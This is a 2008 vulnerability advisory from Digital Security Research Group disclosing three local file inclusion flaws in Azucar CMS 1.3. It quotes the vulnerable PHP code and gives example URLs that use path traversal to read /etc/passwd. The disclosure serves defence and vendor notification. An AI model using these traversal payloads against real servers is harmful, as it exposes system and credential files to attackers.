[DSECRG-08-012] Multiple LFI in Azucar CMS 1.3

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-012

Application: Azucar CMS
Versions Affected: 1.3
Vendor URL: http://azucarcms.sourceforge.net/en_home.htm
Bug: Multiple Local File Include
Exploits: YES
Reported: 30.01.2008
Vendor Response: NONE
Date of Public Advisory: 05.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description

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Azucar CMS has Multiple Local File Include vulnerabilities.

1. Local File Include vulnerabilities found in scripts index.php and index_sitios.php

Code

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#################################################

if (isset($_GET[_VIEW]) && ereg("^src|^vistas", $_GET[_VIEW]))
include($_GET[_VIEW]);
else
header("Location: html/sitio/");

#################################################

Example:

http://[server]/[installdir]/index.php??view=src/sistema/vistas/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd

2. Local File Include vulnerability found in script src/sistema/vistas/template/tpl_inicio.php

Code

---

#################################################

$vista = (isset($_GET[_VIEW])) ? $_GET[_VIEW] : PATH_PROYECTO . 'vistas/index.php';

include($vista);

#################################################

Example:

http://[server]/[installdir]/src/sistema/vistas/template/tpl_inicio.php?_VIEW=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd

3. Local File Include vulnerability found in script html/sitio/index.php

Code

---

#################################################

if (isset($_GET[_VIEW])) {
if (!file_exists($_GET[_VIEW])) {
$vista_array = explode('/', $_GET[_VIEW]);
$vista = $vista_array[0] . '/es_ES/' . $vista_array[2];
} else
$vista = $_GET[_VIEW];
}

$vista = (isset($_GET[_VIEW]) && ereg("^src|^vistas", $_GET[_VIEW])) ? $vista : PATH_PROYECTO .
'vistas/es_ES/index.php';
include($vista);

#################################################

Example:

http://[server]/[installdir]/html/sitio/index.php?view=vistas/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd

About

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Digital Security is leading IT security company in Russia, providing information security consulting,
audit and penetration testing services, risk analysis and ISMS-related services and certification for
ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and
database security problems with vulnerability reports, advisories and whitepapers posted regularly on
our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)